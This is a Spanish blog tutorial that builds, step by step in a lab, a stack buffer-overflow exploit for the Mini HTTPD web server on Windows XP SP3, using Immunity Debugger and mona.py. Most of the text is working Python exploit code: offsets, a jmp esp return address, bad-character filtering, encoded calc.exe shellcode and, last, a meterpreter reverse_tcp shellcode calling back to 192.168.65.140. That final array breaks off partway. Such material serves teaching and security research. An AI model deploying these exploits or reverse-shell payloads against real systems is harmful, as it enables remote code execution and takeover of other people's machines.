Como hacer un exploit en win32 desde 0. Mini HTTPD Sever.

Introducción

Hace tiempo ya que no escribía ninguna entrada en el blog, ya que últimamente entre trabajo, trainings, conferencias y algo de desarrollo de software mi “Free Time” a sufrido un “Buffer Overflow”.

Pero bueno, ahora que encontrado un poco de tiempo, he decidido crear la primera entrada sobre “Exploiting” de hardsec.net.

En ella, vamos a ver como desarrollar un exploit paso a paso para un ligero servidor web llamado “Mini HTTPD” que podéis encontrar en http://www.vector.co.jp/soft/winnt/net/se275154.html o en este mismo post.

Voy a intentar explicar el proceso paso a paso, incluyendo los errores que he ido cometiendo durante el desarrollo, el porque de dichos errores y como los he solucionado.

Herramientas

Las herramientas que vamos a utilizar son: Una maquina virtual Kali Linux, una maquina virtual Windows XP Sp3, Immunity Debugger y mona.py un excelente plugin para Immunity que nos va a facilitar mucho la vida en el desarrollo de exploits para Windows.

En la maquina Windows XP instalamos “Immunity Debugger” y una vez instalado, en el directorio “PyCommands” dentro del directorio padre de “Immunity”, copiamos el script “mona.py”. Después descomprimimos el fichero minihttpd120.lzh lo cual nos crea el directorio “minihttpd” que contiene varios ficheros, entre ellos “minihttpd.exe”. Simplemente ejecutamos dicho fichero, y ya podremos abrir un navegador e ir a la dirección “http://localhost” donde recibiremos una página con el error 404 “Object Not Found”. Ya tenemos en marcha nuestro server Mini HTTPD.

Exploit

El servidor sufre de un desbordamiento de buffer cuando se le envía una petición GET/POST con una URL muy larga. Así pues con el siguiente código conseguimos desbordar el buffer y producir un “crash”.

import sys
import socket

buffer = 'A' * 1000
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

A continuación vemos el resultado de ejecutar el código anterior con el proceso “minihttpd.exe” anexado a “Immunity Debugger”.
minihttpd1

En rojo puede verse la dirección a la que intenta acceder el programa y que causa una violación de acceso. Se trata de “41414141” que es “AAAA” en hexadecimal. Por lo tanto vemos que podemos controlar EIP con un valor que nosotros pasamos. Esto es porque cuando se entra en una función, la dirección de la siguiente instrucción a ejecutar despues de la función se almacena en la pila para poder retornar al flujo original despues de la función, y nuestro buffer overflow nos permite sobrescribir dicho valor almacenado.

Ahora con la ayuda de “mona.py” vamos a calcular la distancia que necesitamos para sobrescribir el EIP guardado en la pila, así como el espacio que tenemos para poder inyectar nuestro “Shellcode”.

Primero configuraremos “mona” para trabajar en un directorio único para este programa y a continuación crearemos un patrón único de 1000 bytes.

!mona config -set workingfolder c:\logs\%p
!mona pc 1000

El segundo comando creará un fichero de texto en el directorio “C:\logs\minihttpd” llamado “pattern.txt”. Ahora copiamos el patrón en nuestro código y volvemos a generar el “crash”.

Así queda nuestra prueba de concepto (POC):

import sys
import socket

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Ahora lo ejecutamos y con “!mona findmsp” buscamos el patrón en memoria para calcular los offsets y demás.

minihttpd2

En la imagen podemos ver que el EIP almacenado en pila se sobreescribe después de 967 bytes y que ESP apunta al patrón con un offset de 971 bytes, y que la longitud del patrón a partir de ESP es de 29 bytes. Este paso lo podemos repetir con un patrón de 2000 bytes para saber si tenemos más sitio para nuestro shellcode en ESP (si no es así podríamos utilizar EDI o ESI).

Haciendo pruebas con diferentes tamaños de patrón, con uno de 1500 bytes obtengo que detrás de ESP hay 105 bytes para poder utilizar, y que ESI apunta al patrón en el offset 255, por lo que también hay unos cuantos bytes (hasta el 967 que sobrescribe EIP para poder utilizar). Además, “mona” nos indica otros lugares de la memoria donde podemos encontrar el patrón sin ningún tipo de corrupción.

El siguiente paso es verificar los offset obtenidos. Cambiamos nuestro código por el siguiente:

import sys
import socket

offset_eip = 967
EIP = 'BBBB'
ESP = 'CCCC'
ESI = 'DDDD'
buffer = 'A' * 225
buffer += ESI
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Ejecutamos nuestro exploit i vemos lo que pasa en el depurador. A continuación vemos los registros de la CPU.

minihttpd3

Como se puede ver, EIP vale “42424242” (BBBB), ESP apunta “CCCC” seguido de multiples “E”, y ESI apunta a “DDDD” seguido de “A”. Todos nuestros cálculos son correctos.

Nos encontramos en un Windows XP SP3 en ingles, sin DEP ni ASLR. Por lo tanto, nuestra aproximación será inyectar el shellcode al principio buffer, buscar la dirección de una instrucción “jmp ESP” o similar en el binario o en una dll para sobrescribir EIP y utilizar el espacio apuntado por ESP para hacer un salto atrás hasta nuestro shellcode.

Vamos por partes. En primer lugar buscar la instrucción “JMP ESP”. Desde “Immunity” ejecutamos:

!mona jmp –r esp

El comando anterior creara el fichero “c:\logs\minihttpd\jmp.txt”. Dentro de dicho fichero se encuentran las direcciones de los saltos encontrados. A ser posible deberíamos utilizar una instrucción dentro del propio binario o en una DLL asociada para que el exploit fuera más confiable, ya que nos aseguraríamos que funcionara en distintas versiones de windows. En este caso hay una posible instrucción pero empieza con un byte nulo, por lo que no la vamos a utilizar. Así pues elegiremos una de una DLL del sistema por ejemplo:

0x7c91fcd8 : jmp esp  (C:\WINDOWS\system32\ntdll.dll)

Modificamos nuestro código poniendo esta dirección en EIP (hay que ponerlo en Little endian) y poniendo después en ESP unos breakpoints “\xcc” para ver que realmente llegamos a nuestro código.

import sys
import socket
import struct

offset_eip = 967
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\xcc\xcc\xcc\xcc'
buffer = 'A' * offset_eip
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Ejecutamos y…

minihttpd4

Como podemos ver en la imagen, la ejecución se ha parado en los puntos de ruptura que hemos puesto antes de las “E” (0x45).

El siguiente paso, es poner en ESP un salto atrás hasta el principio de nuestro buffer, donde pondremos el shellcode. Para sacar los “opcodes” del salto, vamos a utilizar “metasm”, una herramienta incluida dentro de “Metasploit-framework”.

Sabemos que la ejecución se encuentra en ESP, por lo tanto el principio de nuestro buffer está 971 bytes antes. Utilizamos “metasm” para calcular un salto atrás de 971 bytes.

minihttpd5

Aquí tenemos los opcodes que debemos poner en nuestro código. (Nota: Si el desplazamiento se quiere poner en hexadecimal, hay que poner el valor seguido de una h, si no por defecto “metasm” lo entiende como valor decimal).

Modificaremos nuestro código con estos valores, y pondremos unos puntos de interrupción al principio del buffer. Además estableceremos un “breakpoint” en 0x7c91fcd8 dentro de “Immunity” para ejecutar paso a paso y ver si realmente hacemos el salto correctamente.

import sys
import socket
import struct

offset_eip = 967
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\xe9\x30\xfc\xff\xff'
shellcode = '\xcc' * 20
buffer = shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Al ejecutar el exploit, se alcanza el punto de ruptura puesto en el “jmp esp”. Después con F7 ejecutamos el salto y alcanzamos el salto atrás que hemos codificado. Con F7 otra vez realizamos el salto y alcanzamos una zona con “Aes”, pero nuestros puntos de ruptura no están. Esto significa que no podemos poner el shellcode al principio del buffer, tendremos que calcular a que distancia. Para ello vamos a utilizar otro “pattern”  de 967 bytes hecho con “mona”. Pondremos el pattern antes del EIP y ejecutaremos, con nuestro breakpoint en el “jmp ESP”. Después ejecutaremos pasa paso y veremos donde aterriza nuestro salto.

minihttpd6

Justo después de presionar F7 en nuestro salto atrás, llegamos a este punto. Si miramos los “opcodes” son “33417634” (3Av4). Utilizando la opción “pattern offset” en “mona” calculamos el desplazamiento necesario.

minihttpd7

Como se puede ver, “3Av4” se encuentra en la posición 641 del patrón, por lo que nuestro shellcode puede ponerse en esta posición, y como EIP se sobrescribe en la posición 967, esto nos deja 326 bytes para el shellcode. Aún podemos buscar unos bytes extras con nuestro salto atrás, ya que no caía al principio de las Aes. Haciendo un saldo de 981 bytes atrás caemos justo al principio de las Aes, y utilizando el “pattern” para calcular la distancia, el patrón se encuentra en la posición 631 y por lo tanto nos deja 336 byte para el shellcode.

Ahora utilizaremos “Metasploit-Framework” para crear el shellcode, pero antes debemos descartar los “Bad Characters” para que nuestro shellcode no se corrompa.

Para esto “mona” nos ofrece su bytearray, un vector con todos los bytes para poner en el buffer que le pasamos y después “!mona compare” para comparar los bytes en memoria con los del bytearray creado y ver si alguno ha sido modificado. Así, uno a uno se van descartando los bytes malos, simplemente excluyéndolos del vector y realizando el proceso otra vez.

Con el comando “!mona bytearray” generamos los ficheros “byteattay.bin” y “bytearray.txt” en el directorio “C:\logs\minihttpd”, como se trata de un servidor web, ya podemos excluir en un principio tanto el byte nulo, el espacio en blanco, la “/” y el signo de exclamación “?”. Por lo tanto el ByteArray lo generamos con “!mona bytearray –cpb ‘\x00\x20\x2f\x3f’”. Copiamos el contenido de “bytearray.txt” en la variable “shellcode” de nuestro código y ejecutamos el exploit manteniendo el punto de ruptura en “jmp esp”.

import sys
import socket
import struct

offset_eip = 967
offset_shellcode = 641
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\xe9\x26\xfc\xff\xff'
buffer = 'A' * offset_shellcode
shellcode = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x40\x41"
"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61"
"\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1"
"\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1"
"\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Al ejecutar el exploit, ahora tenemos una violación de acceso porque EIP vale “45454545”. Esto es seguramente por algunos bytes que se corrompen y cambian el tamaño del buffer. Ahora intentamos encontrar nuestro “bytearray” en la memoria.

Subiendo por el “stack”, encontramos el bytearray casi completo empezando en la dirección “0x00c8DADC” en mi caso (esta dirección puede cambiar de un sistema a otro), pero como se ve en la siguiente imagen, no comienza por el byte “\x01”, sino que comienza por “\x0E”.

minihttpd8

Esto se debe probablemente a que el byte anterior será un byte no deseado. Así pues volvemos a crear el array pero esta vez descartamos el byte “\x0d” (!mona bytearray –cpb ‘\x00\x0d\x20\x2f\x3f’) y repetimos el experimento.

Mismo resultado, así que quitamos el “\x0c”. Pasa lo mismo, así que quitamos “\x0b”. Igual, así que quitamos el “\x0a”. Quitamos después el “\x09”y ahora el EIP nos da igual a “41414141”. Algo ha cambiado, así que buscamos el array en memoria otra vez.

minihttpd9

Ahora ya vemos que el bytearray empieza por el byte “\x01” en la dirección “0x00C8DB22”. Ahora vamos a ejecutar el comando “compare de mona”.

!mona compare -f c:\logs\minihttpd\bytearray.bin -a 0x00c8db22

minihttpd10

Como se ve en la imagen, el resultado es “Unmodified” por lo que ya hemos identificado todos los “bad chars”.

El array bueno ha sido creado con:

!mona bytearray -cpb '\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'

Por lo tanto, los “bad chars” son “\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’”.

Ahora crearemos un payload de “Metasploit” y lo codificaremos sin los “bad chars”. De momento vamos a intentar ejecutar la calculadora en el sistema víctima.

minihttpd11

Añadimos el shellcode en nuestro exploit y lo ejecutamos poniendo un punto de ruptura en “jmp esp” para luego ejecutar paso a paso y ver si realmente alcanzamos el shellcode.

import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
# Shellcode max size 336 bytes.
offset_eip = 967
offset_shellcode = 631
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\xe9\x26\xfc\xff\xff'
buffer = 'A' * offset_shellcode
# windows/exec CMD=calc.exe
# x86/shikata_ga_nai succeeded with size 227 (iteration=1)
shellcode = (
"\xda\xdc\xbb\xba\x45\x96\x78\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x31\x58\x17\x03\x58\x17\x83\x52\xb9\x74\x8d\x5e\xaa\xf0"
"\x6e\x9e\x2b\x63\xe6\x7b\x1a\xb1\x9c\x08\x0f\x05\xd6\x5c\xbc"
"\xee\xba\x74\x37\x82\x12\x7b\xf0\x29\x45\xb2\x01\x9c\x49\x18"
"\xc1\xbe\x35\x62\x16\x61\x07\xad\x6b\x60\x40\xd3\x84\x30\x19"
"\x98\x37\xa5\x2e\xdc\x8b\xc4\xe0\x6b\xb3\xbe\x85\xab\x40\x75"
"\x87\xfb\xf9\x02\xcf\xe3\x72\x4c\xf0\x12\x56\x8e\xcc\x5d\xd3"
"\x65\xa6\x5c\x35\xb4\x47\x6f\x79\x1b\x76\x40\x74\x65\xbe\x66"
"\x67\x10\xb4\x95\x1a\x23\x0f\xe4\xc0\xa6\x92\x4e\x82\x11\x77"
"\x6f\x47\xc7\xfc\x63\x2c\x83\x5b\x67\xb3\x40\xd0\x93\x38\x67"
"\x37\x12\x7a\x4c\x93\x7f\xd8\xed\x82\x25\x8f\x12\xd4\x81\x70"
"\xb7\x9e\x23\x64\xc1\xfc\x29\x7b\x43\x7b\x14\x7b\x5b\x84\x36"
"\x14\x6a\x0f\xd9\x63\x73\xda\x9e\x9c\x39\x47\xb6\x34\xe4\x1d"
"\x8b\x58\x17\xc8\xcf\x64\x94\xf9\xaf\x92\x84\x8b\xaa\xdf\x02"
"\x67\xc6\x70\xe7\x87\x75\x70\x22\xe4\x18\xe2\xae\xc5\xbf\x82"
"\x55\x1a"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Una vez alcanzado el breakpoint, pulsamos F7 dos veces, una para ejecutar “jmp ESP” y otra para hacer el salto atrás. A continuación vemos donde se aterriza después del salto.

minihttpd12

Como podemos observar, los opcodes comienzan por “\xda\xdc\xbb”, igual que nuestro shellcode. Pulsamos F9 para continuar con la ejecución, lo cual debería mostrarnos la calculadora si todo funcionara OK y nuestro shellcode se ejecutara, pero obtenemos una violación de acceso

Repetimos el proceso hasta el punto donde comienza a ejecutar nuestro shellcode y nos fijamos a donde apunta ESP.

minihttpd13

Como podemos ver, ESP apunta a una zona de la pila por debajo de donde estamos ejecutando el shellcode (dirección donde apunta EIP). Esto puede suponer un problema si nuestro shellcode mete y saca datos de la pila, pudiendo llegar a corromper partes del propio shellcode.

Para solucionar este problema, movemos ESP a una dirección menor que la apuntada por EIP, antes de hacer el salto atrás. Para ello vamos a utilizar “metasm” para averiguar los “opcodes” de la operación que deseamos hacer.

La idea es restar 1000 bytes (0x3E8) a ESP.

minihttpd14

Como podemos ver, los opcodes contienen bytes nulos, por lo que vamos a hacer una suma de esos 1000 bytes en negativo a ver que pasa.

minihttpd15

Hemos conseguido el mismo resultado sin bytes nulos. Ahora pondremos estos “opcodes” delante de los que realizan el salto atrás en nuestro exploit.

import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
# Shellcode max size 336 bytes.
offset_eip = 967
offset_shellcode = 631
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll

ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h
ESP += '\xe9\x26\xfc\xff\xff' # jmp back

buffer = 'A' * offset_shellcode
# windows/exec CMD=calc.exe
# x86/shikata_ga_nai succeeded with size 227 (iteration=1)
shellcode = (
"\xda\xdc\xbb\xba\x45\x96\x78\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x31\x58\x17\x03\x58\x17\x83\x52\xb9\x74\x8d\x5e\xaa\xf0"
"\x6e\x9e\x2b\x63\xe6\x7b\x1a\xb1\x9c\x08\x0f\x05\xd6\x5c\xbc"
"\xee\xba\x74\x37\x82\x12\x7b\xf0\x29\x45\xb2\x01\x9c\x49\x18"
"\xc1\xbe\x35\x62\x16\x61\x07\xad\x6b\x60\x40\xd3\x84\x30\x19"
"\x98\x37\xa5\x2e\xdc\x8b\xc4\xe0\x6b\xb3\xbe\x85\xab\x40\x75"
"\x87\xfb\xf9\x02\xcf\xe3\x72\x4c\xf0\x12\x56\x8e\xcc\x5d\xd3"
"\x65\xa6\x5c\x35\xb4\x47\x6f\x79\x1b\x76\x40\x74\x65\xbe\x66"
"\x67\x10\xb4\x95\x1a\x23\x0f\xe4\xc0\xa6\x92\x4e\x82\x11\x77"
"\x6f\x47\xc7\xfc\x63\x2c\x83\x5b\x67\xb3\x40\xd0\x93\x38\x67"
"\x37\x12\x7a\x4c\x93\x7f\xd8\xed\x82\x25\x8f\x12\xd4\x81\x70"
"\xb7\x9e\x23\x64\xc1\xfc\x29\x7b\x43\x7b\x14\x7b\x5b\x84\x36"
"\x14\x6a\x0f\xd9\x63\x73\xda\x9e\x9c\x39\x47\xb6\x34\xe4\x1d"
"\x8b\x58\x17\xc8\xcf\x64\x94\xf9\xaf\x92\x84\x8b\xaa\xdf\x02"
"\x67\xc6\x70\xe7\x87\x75\x70\x22\xe4\x18\xe2\xae\xc5\xbf\x82"
"\x55\x1a"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Volvemos a ejecutar el exploit con nuestro “breakpoint” en la instrucción “jmp ESP” a ver que ocurre. Efectivamente estamos moviendo ESP a una zona por encima de EIP para no interferir en nuestro shellcode, pero el exploit no funciona porque al añadir los opcodes, ahora el salto atrás no aterriza al principio del shellcode. Hay que recalcular el salto ya que hemos añadido 6 bytes más, por lo tanto el salto debe saltar 6 bytes más (recordemos que hacíamos un salto atrás de 981 bytes, con lo que ahora lo debemos hacer de 987 bytes).

minihttpd16

Este es el salto que debemos hacer. Por lo tanto lo cambiamos en nuestro código y volvemos a probar (hay que tener en cuenta que \x20 es uno de los bad chars, por lo tanto utilizamos \x21 y movemos el shellcode un byte).

El exploit sigue sin funcionar, y al analizar más a fondo la memoria en el moemento del salto atrás, nos damos cuenta de que nuestro shellcode no está completa, se corta a mitad con Aes.

minihttpd17

Esta es la razón por la que no funciona el exploit de momento. Si avanzamos por la memoria, después de las Aes, encontramos otra copia de nuestro shellcode completa en la dirección 0x00c8db19.

minihttpd18

Por lo tanto, nuestro salto nos lleva a 0x00c8d898 cuando nos debería llevar a 0x00c8db19. Si realizamos la resta nos dan 0x280 que en decimal son 641 bytes. Por lo tanto el salto que hacemos atrás de 987 bytes, debe ser de 346 bytes (comprobando los datos con el debugger, vemos que en realidad debe ser de 345 bytes).

Este es el código de nuestro exploit:

import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
# Shellcode max size 336 bytes.
offset_eip = 967
offset_shellcode = 632
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h (1000 bytes)
ESP += '\xe9\xa2\xfe\xff\xff' # jmp $-345
buffer = 'A' * offset_shellcode
# windows/exec CMD=calc.exe
# x86/shikata_ga_nai succeeded with size 227 (iteration=1)
shellcode = (
"\xda\xdc\xbb\xba\x45\x96\x78\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x31\x58\x17\x03\x58\x17\x83\x52\xb9\x74\x8d\x5e\xaa\xf0"
"\x6e\x9e\x2b\x63\xe6\x7b\x1a\xb1\x9c\x08\x0f\x05\xd6\x5c\xbc"
"\xee\xba\x74\x37\x82\x12\x7b\xf0\x29\x45\xb2\x01\x9c\x49\x18"
"\xc1\xbe\x35\x62\x16\x61\x07\xad\x6b\x60\x40\xd3\x84\x30\x19"
"\x98\x37\xa5\x2e\xdc\x8b\xc4\xe0\x6b\xb3\xbe\x85\xab\x40\x75"
"\x87\xfb\xf9\x02\xcf\xe3\x72\x4c\xf0\x12\x56\x8e\xcc\x5d\xd3"
"\x65\xa6\x5c\x35\xb4\x47\x6f\x79\x1b\x76\x40\x74\x65\xbe\x66"
"\x67\x10\xb4\x95\x1a\x23\x0f\xe4\xc0\xa6\x92\x4e\x82\x11\x77"
"\x6f\x47\xc7\xfc\x63\x2c\x83\x5b\x67\xb3\x40\xd0\x93\x38\x67"
"\x37\x12\x7a\x4c\x93\x7f\xd8\xed\x82\x25\x8f\x12\xd4\x81\x70"
"\xb7\x9e\x23\x64\xc1\xfc\x29\x7b\x43\x7b\x14\x7b\x5b\x84\x36"
"\x14\x6a\x0f\xd9\x63\x73\xda\x9e\x9c\x39\x47\xb6\x34\xe4\x1d"
"\x8b\x58\x17\xc8\xcf\x64\x94\xf9\xaf\x92\x84\x8b\xaa\xdf\x02"
"\x67\xc6\x70\xe7\x87\x75\x70\x22\xe4\x18\xe2\xae\xc5\xbf\x82"
"\x55\x1a"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Y este el resultado de su ejecución:

minihttpd19

PWNED!!!

Pero lo que nosotros queremos no es ejecutar una calculadora, queremos una shell en la maquina remota, así que vamos a ello.

Vamos a crear un payload reverse_tcp de “meterpreter” a ver si nos cabe en el espacio que tenemos.

minihttpd20

Como vemos, ocupa 314 bytes por lo que teóricamente nos cabe en el buffer. Vamos a modificar el exploit con este shellcode. El exploit queda así:

import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
# Shellcode max size 336 bytes.
offset_eip = 967
offset_shellcode = 632
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h (1000 bytes)
ESP += '\xe9\xa2\xfe\xff\xff' # jmp $-345
buffer = 'A' * offset_shellcode
# windows/meterpreter/reverse_tcp LHOST=192.168.65.140
# x86/shikata_ga_nai succeeded with size 314 (iteration=1)
shellcode = (
"\xb8\x54\x28\xa2\x05\xd9\xc1\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x48\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xa1\xd4\x4a\x83"
"\x49\x25\x8b\xec\xc0\xc0\xba\x3e\xb6\x81\xef\x8e\xbd\xc4\x03"
"\x64\x93\xfc\x90\x08\x3b\xf2\x11\xa6\x1d\x3d\xa1\x06\xa1\x91"
"\x61\x08\x5d\xe8\xb5\xea\x5c\x23\xc8\xeb\x99\x5e\x23\xb9\x72"
"\x14\x96\x2e\xf7\x68\x2b\xc4\x4b\x7d\x2b\x39\x19\x7c\x1a\xec"
"\x16\x27\xbc\x0e\xfb\x53\xf5\x08\x18\x5f\x4f\xa2\xea\x2b\x4e"
"\x62\x23\xd3\x60\x4a\xef\xea\x4c\x47\xee\x2b\x6a\xb8\x85\x47"
"\x88\x45\x9d\x93\xf2\x91\x28\x06\x54\x51\x8a\xe2\x64\xb6\x4c"
"\x60\x6a\x73\x1b\x2e\x6f\x82\xc8\x44\x8b\x0f\xef\x8a\x1d\x4b"
"\xcb\x0e\x45\x0f\x72\x16\x23\xfe\x8b\x48\x8b\x5f\x29\x02\x3e"
"\x8b\x44\x49\x57\x78\x64\x72\xa7\x16\xff\x01\x95\xb9\xab\x8d"
"\x95\x32\x75\x49\xd9\x68\xc1\xc5\x24\x93\x31\xcf\xe2\xc7\x61"
"\x67\xc2\x67\xea\x77\xeb\xbd\xbc\x27\x43\x6e\x7c\x98\x23\xde"
"\x14\xf2\xab\x01\x04\xfd\x61\x2a\xae\x07\xe2\x95\x86\x49\x7e"
"\x7d\xd4\x49\x6f\x22\x51\xaf\xe5\xca\x37\x67\x92\x73\x12\xf3"
"\x03\x7b\x89\x79\x03\xf7\x3d\x7d\xca\xf0\x48\x6d\xbb\xf0\x07"
